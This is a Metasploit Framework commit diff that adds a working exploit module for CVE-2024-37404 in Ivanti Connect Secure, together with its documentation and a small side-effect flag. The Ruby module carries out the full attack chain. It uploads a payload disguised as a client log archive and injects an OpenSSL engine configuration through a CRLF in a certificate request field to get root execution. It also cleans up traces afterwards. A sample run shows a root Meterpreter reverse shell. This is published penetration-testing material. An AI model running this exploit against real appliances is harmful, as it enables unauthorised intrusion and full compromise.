Land #19595 Ivanti Connect Secure auth RCE via OpenSSL (CVE-2024-37404)
This commit is contained in:
+1
@@ -59,6 +59,7 @@ Example:
|
||||
| CONFIG_CHANGES | Module modifies some config file |
|
||||
| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) |
|
||||
| ACCOUNT_LOCKOUTS | Module may cause an account to lock out |
|
||||
| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)|
|
||||
| SCREEN_EFFECTS | Module shows something on the screen that a human may notice |
|
||||
| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) |
|
||||
| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) |
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to
|
||||
achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are
|
||||
vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also
|
||||
vulnerable but this module doesn't support this software.
|
||||
|
||||
Valid administrative credentials are required. A non-administrative user is also
|
||||
required and can be created using the administrative account, if needed.
|
||||
|
||||
Finally, the `Client Log Upload` feature needs to be enabled. This can also
|
||||
be done using the administrative interface (see the Installation Steps section
|
||||
below), if it is not enabled already.
|
||||
|
||||
### Process Overview
|
||||
|
||||
First, the module will log into the administrative interface and check if the version
|
||||
is vulnerable. Then, it will connect to the user interface using non-privileged
|
||||
credentials and upload a log file archive containing the payload. This file is
|
||||
stored as a known path on the server, which can be retrieved from the
|
||||
administrative interface. Then, it leverages the CRLF vulnerability by creating
|
||||
a Certificate Signing Request and passing a specially crafted OpenSSL
|
||||
configuration. This configuration instructs OpenSSL to use a custom
|
||||
cryptographic engine, which points to the log file path (our payload). The
|
||||
payload is immediately executed, giving RCE as the root user on the appliance.
|
||||
|
||||
This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).
|
||||
|
||||
### Installation Steps
|
||||
Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
|
||||
with a vulnerable Ivanti Connect Secure installed.
|
||||
|
||||
Note that it is not possible to download a trial version of a Virtual Appliance
|
||||
unless you contact sales and request a demo.
|
||||
|
||||
Log into to the admin interface (https:/<IP>/admin) to proceed with the following requirements:
|
||||
|
||||
#### Create a normal user
|
||||
- In the `Authentication` menu, select `Auth. Servers`.
|
||||
- Select the `System Local` `Authentication/Authorization Servers` or any
|
||||
server with the type `Local Authentication`. Don't select the
|
||||
`Administrators` server since we need a non-administrative account.
|
||||
- Click on the `Users` tab and then `New`.
|
||||
- Fill the registration form and click `Save Changes`.
|
||||
|
||||
#### Enable Client Log
|
||||
- Go to `Users` > `User Roles` and click on the `Users` role.
|
||||
- Go to `General` > `Session Options`.
|
||||
- Select `Enable Upload Logs` under the `Upload logs` section.
|
||||
- Click `Save Changes`.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404`
|
||||
1. Do: `run verbose=true lhost=<local host> rhosts=<remote host> admin_username=<admin username> admin_password=<admin password> username=<normal user> password=<user password>`
|
||||
1. You should get a Meterpreter session
|
||||
1. Make sure the admin and the normal user have been logged out by logging in
|
||||
the web interfaces with a web browser (you should have any warning saying a
|
||||
session is already active)
|
||||
1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### ADMIN_USERNAME
|
||||
Administrative username to authenticate with.
|
||||
|
||||
### ADMIN_PASSWORD
|
||||
Administrator password to authenticate with.
|
||||
|
||||
### USERNAME
|
||||
Normal user username to authenticate with.
|
||||
|
||||
### PASSWORD
|
||||
Normal user password to authenticate with.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ivanti Connect Secure version 22.3R1 (build 1647)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.211.69:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'...
|
||||
[!] The admin msfadmin is already logged in
|
||||
[*] Getting the version...
|
||||
[+] Found version 22.3R1 (build 1647)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Uploading the payload...
|
||||
[*] Login to the user interface with username 'msfuser' and password '1234567890'...
|
||||
[*] Uploading the log file...
|
||||
[*] Logging the user out...
|
||||
[*] Getting the log file name...
|
||||
[*] Triggering the payload...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (1017704 bytes) to 192.168.211.200
|
||||
[*] Cleaning up...
|
||||
[*] Deleting the log file (payload)...
|
||||
[*] Logging the administrator out...
|
||||
[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.211.200
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
@@ -82,6 +82,8 @@ CONFIG_CHANGES = 'config-changes'
|
||||
IOC_IN_LOGS = 'ioc-in-logs'
|
||||
# Module may cause account lockouts (likely due to brute-forcing).
|
||||
ACCOUNT_LOCKOUTS = 'account-lockouts'
|
||||
# Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions).
|
||||
ACCOUNT_LOGOUT = 'account-logout'
|
||||
# Module may show something on the screen (Example: a window pops up).
|
||||
SCREEN_EFFECTS = 'screen-effects'
|
||||
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps).
|
||||
|
||||
@@ -0,0 +1,431 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
class IvantiError < StandardError; end
|
||||
class IvantiNoAccessError < IvantiError; end
|
||||
class IvantiNotFoundError < IvantiError; end
|
||||
class IvantiUnexpectedResponseError < IvantiError; end
|
||||
class IvantiUnknownError < IvantiError; end
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a CRLF injection vulnerability in Ivanti Connect
|
||||
Secure to achieve remote code execution (CVE-2024-37404). Versions
|
||||
prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure
|
||||
versions prior to 22.7R1.1 are also vulnerable but this module
|
||||
doesn't support this software.
|
||||
|
||||
Valid administrative credentials are required. A non-administrative
|
||||
user is also required and can be created using the administrative
|
||||
account, if needed.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Richard Warren', # Vulnerability discovery and PoC
|
||||
'Christophe De La Fuente', # Metasploit Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-37404'],
|
||||
['URL', 'https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404'],
|
||||
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404'],
|
||||
['URL', 'https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/']
|
||||
],
|
||||
'DisclosureDate' => '2024-10-08',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86, # OpenSSL running on the appliance is an x86 binary which requires the payload to be ARCH_x86
|
||||
'Privileged' => true, # Administrative access is needed and code execution as root.
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path of the Ivanti Connect Secure web interface', '/']),
|
||||
OptString.new('ADMIN_USERNAME', [true, 'Administrative username to authenticate with.']),
|
||||
OptString.new('ADMIN_PASSWORD', [true, 'Administrator password to authenticate with.']),
|
||||
OptString.new('USERNAME', [true, 'Normal user username to authenticate with.']),
|
||||
OptString.new('PASSWORD', [true, 'Normal user password to authenticate with.'])
|
||||
]
|
||||
)
|
||||
|
||||
@logged = false
|
||||
end
|
||||
|
||||
def confirm_login_admin(uri)
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?
|
||||
|
||||
csrf_token = res.get_html_document.xpath('//form/input[@name="xsauth"]/@value').text
|
||||
raise IvantiNotFoundError, '[confirm_login_admin] Could not find the CSRF token' if csrf_token.empty?
|
||||
|
||||
form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
|
||||
raise IvantiNotFoundError, '[confirm_login_admin] Could not find the FormDataStr token' if form_data_str.empty?
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_post' => {
|
||||
'btnContinue' => 'Continue the session',
|
||||
'FormDataStr' => form_data_str,
|
||||
'xsauth' => csrf_token
|
||||
}
|
||||
)
|
||||
raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def login_admin
|
||||
print_status(
|
||||
"Login to the administrative interface with username '#{datastore['ADMIN_USERNAME']}' and password "\
|
||||
"'#{datastore['ADMIN_PASSWORD']}'..."
|
||||
)
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?
|
||||
|
||||
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_token"]/@value').text
|
||||
raise IvantiNotFoundError, '[login_admin] Could not find the CSRF token' if csrf_token.empty?
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_post' => {
|
||||
'tz_offset' => (60 * rand(0..8)).to_s,
|
||||
'xsauth_token' => csrf_token,
|
||||
'username' => datastore['ADMIN_USERNAME'],
|
||||
'password' => datastore['ADMIN_PASSWORD'],
|
||||
'realm' => 'Admin Users',
|
||||
'btnSubmit' => 'Sign In'
|
||||
}
|
||||
)
|
||||
raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?
|
||||
|
||||
if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm')
|
||||
print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in")
|
||||
res = confirm_login_admin(normalize_uri(target_uri.path, res.redirection.to_s))
|
||||
end
|
||||
|
||||
if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/misc/admin.cgi')
|
||||
raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})"
|
||||
end
|
||||
end
|
||||
|
||||
def get_version
|
||||
print_status('Getting the version...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-admin/sysinfo/sysinfo.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[get_version] No response from '#{uri}'" if res.nil?
|
||||
|
||||
version_str = res.get_html_document.xpath('//span[@id="DSIDSystemSoftwarePkgVersion"]').text
|
||||
raise IvantiNotFoundError, '[get_version] Could not find the version number' if version_str.empty?
|
||||
|
||||
print_good("Found version #{version_str}")
|
||||
unless version_str.match(/(\d+\.[\dR]+)/)
|
||||
raise IvantiNotFoundError, "[get_version] Unexpected version number format: #{version_str}"
|
||||
end
|
||||
|
||||
Rex::Version.new(Regexp.last_match(1))
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
login_admin
|
||||
@logged = true
|
||||
rescue IvantiError => e
|
||||
return CheckCode::Unknown("Unable to login to the administrative interface: #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
version = get_version
|
||||
rescue IvantiError => e
|
||||
return CheckCode::Detected("Version number not found: #{e}")
|
||||
end
|
||||
|
||||
unless version < Rex::Version.new('22.7R2.1')
|
||||
return CheckCode::Safe("Version number: #{version}")
|
||||
end
|
||||
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
def confirm_login_user(uri)
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
|
||||
|
||||
form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
|
||||
raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty?
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_post' => {
|
||||
'btnContinue' => 'Continue the session',
|
||||
'FormDataStr' => form_data_str
|
||||
}
|
||||
)
|
||||
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def login_user
|
||||
print_status(
|
||||
"Login to the user interface with username '#{datastore['USERNAME']}' and password "\
|
||||
"'#{datastore['PASSWORD']}'..."
|
||||
)
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_post' => {
|
||||
'tz_offset' => '',
|
||||
'win11' => '',
|
||||
'clientMAC' => '',
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'realm' => 'Users',
|
||||
'btnSubmit' => 'Sign In'
|
||||
}
|
||||
)
|
||||
raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?
|
||||
|
||||
if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm')
|
||||
print_warning("User #{datastore['USERNAME']} is already logged in.")
|
||||
res = confirm_login_user(normalize_uri(target_uri.path, res.redirection.to_s))
|
||||
end
|
||||
|
||||
if res.code != 302 && res.redirection.to_s != normalize_uri(target_uri.path, '/dana/home/starter0.cgi?check=yes')
|
||||
raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})"
|
||||
end
|
||||
end
|
||||
|
||||
def upload_log
|
||||
print_status('Uploading the log file...')
|
||||
|
||||
@client_component = "Log_#{rand_text_numeric(3)}"
|
||||
uri = normalize_uri(target_uri.path, "/dana/uploadlog/uploadlog.cgi?client_component=#{@client_component}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'vars_form_data' => [
|
||||
{
|
||||
'name' => 'uploaded_file',
|
||||
'data' => Msf::Util::EXE.to_linux_x86_elf_dll(framework, payload.encoded),
|
||||
'content_type' => 'application/octet-stream',
|
||||
'encoding' => 'binary',
|
||||
'filename' => 'LULogUpload.zip'
|
||||
}
|
||||
]
|
||||
)
|
||||
raise IvantiUnknownError, "[upload_log] No response from '#{uri}'" if res.nil?
|
||||
|
||||
unless res.code == 200
|
||||
raise IvantiUnexpectedResponseError, "[upload_log] Server responded with an unexpected HTTP status code: #{res.code}"
|
||||
end
|
||||
end
|
||||
|
||||
def get_log_filename
|
||||
print_status('Getting the log file name...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[get_log_filename] No response from '#{uri}'" if res.nil?
|
||||
|
||||
log_filename = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a").text.strip
|
||||
raise IvantiNotFoundError, '[get_log_filename] Could not find the log filename' if log_filename.empty?
|
||||
|
||||
log_filename
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
print_status('Uploading the payload...')
|
||||
|
||||
cookie_jar_bak = cookie_jar.dup
|
||||
cookie_jar.clear
|
||||
login_user
|
||||
begin
|
||||
upload_log
|
||||
ensure
|
||||
print_status('Logging the user out...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri)
|
||||
print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
|
||||
end
|
||||
self.cookie_jar = cookie_jar_bak
|
||||
get_log_filename
|
||||
end
|
||||
|
||||
def trigger_payload
|
||||
print_status('Triggering the payload...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[trigger_payload] No response from '#{uri}'" if res.nil?
|
||||
|
||||
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_71"]/@value').text
|
||||
raise IvantiNotFoundError, '[trigger_payload] Could not find the CSRF token' if csrf_token.empty?
|
||||
|
||||
engine_name = rand_text_alpha_lower(3..5)
|
||||
config_section = rand_text_alpha_lower(5..10)
|
||||
openssl_config = <<~CONF
|
||||
[default]
|
||||
openssl_conf = openssl_init
|
||||
[openssl_init]
|
||||
engines = engine_section
|
||||
[engine_section]
|
||||
#{engine_name} = #{config_section}
|
||||
[#{config_section}]
|
||||
engine_id = #{engine_name}
|
||||
dynamic_path = /home/runtime/uploadlog/#{@log_filename}
|
||||
init = 0
|
||||
CONF
|
||||
# Expecting no response
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/dana-admin/cert/admincertnewcsr.cgi'),
|
||||
'keep_cookies' => 'true',
|
||||
'headers' => {
|
||||
'Referer' => full_uri('/dana-admin/cert/admincert.cgi')
|
||||
},
|
||||
'vars_post' => {
|
||||
'xsauth' => csrf_token,
|
||||
'commonName' => Faker::Company.department,
|
||||
'organizationName' => Faker::Company.name,
|
||||
'organizationalUnitName' => Faker::Company.department,
|
||||
'localityName' => "#{Faker::Address.city}\n#{openssl_config}",
|
||||
'stateOrProvinceName' => Faker::Address.state,
|
||||
'countryName' => Faker::Address.country_code,
|
||||
'emailAddress' => Faker::Internet.email,
|
||||
'keytype' => 'RSA',
|
||||
'keylength' => '1024',
|
||||
'eccurve' => 'prime256v1',
|
||||
'random' => rand_text_alphanumeric(5..10),
|
||||
'newcsr' => 'yes',
|
||||
'certType' => 'device',
|
||||
'btnCreateCSR' => 'Create CSR'
|
||||
}
|
||||
}, 1)
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless @logged
|
||||
begin
|
||||
login_admin
|
||||
rescue IvantiError => e
|
||||
fail_with(Failure::NoAccess, "Unable to login to the administrative interface: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
@log_filename = upload_payload
|
||||
rescue IvantiError => e
|
||||
fail_with(Failure::Unknown, "Unable to upload the payload: #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
trigger_payload
|
||||
rescue IvantiError => e
|
||||
fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def delete_log_file
|
||||
print_status('Deleting the log file (payload)...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
|
||||
raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?
|
||||
|
||||
csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_60"]/@value').text
|
||||
raise IvantiNotFoundError, '[delete_log_file] Could not find the CSRF token' if csrf_token.empty?
|
||||
|
||||
file_link = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a")
|
||||
raise IvantiNotFoundError, '[delete_log_file] Could not find the log file' if file_link.empty?
|
||||
|
||||
href = file_link.attribute('href')&.value
|
||||
if href&.match(/&row=(\d+)/)
|
||||
log_id = Regexp.last_match(1)
|
||||
else
|
||||
raise IvantiNotFoundError, '[delete_log_file] Unable to retrieve the log ID'
|
||||
end
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'keep_cookies' => 'true',
|
||||
'headers' => {
|
||||
'Referer' => full_uri('/dana-admin/auth/uploadedlogs.cgi')
|
||||
},
|
||||
'vars_post' => {
|
||||
'xsauth' => csrf_token,
|
||||
'op' => 'del',
|
||||
'row' => log_id
|
||||
}
|
||||
)
|
||||
raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?
|
||||
|
||||
if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
|
||||
raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})"
|
||||
end
|
||||
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def on_new_session(_session)
|
||||
print_status('Cleaning up...')
|
||||
|
||||
begin
|
||||
csrf_token = delete_log_file
|
||||
rescue IvantiError => e
|
||||
print_warning(
|
||||
"Unable to cleanup properly, the log file ('/home/runtime/uploadlog/#{@log_filename}') "\
|
||||
"will need to be deleted manually: #{e}"
|
||||
)
|
||||
end
|
||||
|
||||
print_status('Logging the administrator out...')
|
||||
|
||||
uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => { 'xsauth' => csrf_token })
|
||||
print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
|
||||
end
|
||||
|
||||
end
|
||||
@@ -97,7 +97,7 @@ RSpec.describe ModuleValidation::Validator do
|
||||
end
|
||||
|
||||
it 'has errors' do
|
||||
expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "screen-effects", "audio-effects", "physical-effects"] is allowed']
|
||||
expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "account-logout", "screen-effects", "audio-effects", "physical-effects"] is allowed']
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -55,6 +55,7 @@ module ModuleValidation
|
||||
Msf::CONFIG_CHANGES,
|
||||
Msf::IOC_IN_LOGS,
|
||||
Msf::ACCOUNT_LOCKOUTS,
|
||||
Msf::ACCOUNT_LOGOUT,
|
||||
Msf::SCREEN_EFFECTS,
|
||||
Msf::AUDIO_EFFECTS,
|
||||
Msf::PHYSICAL_EFFECTS
|
||||
|
||||
Reference in New Issue
Block a user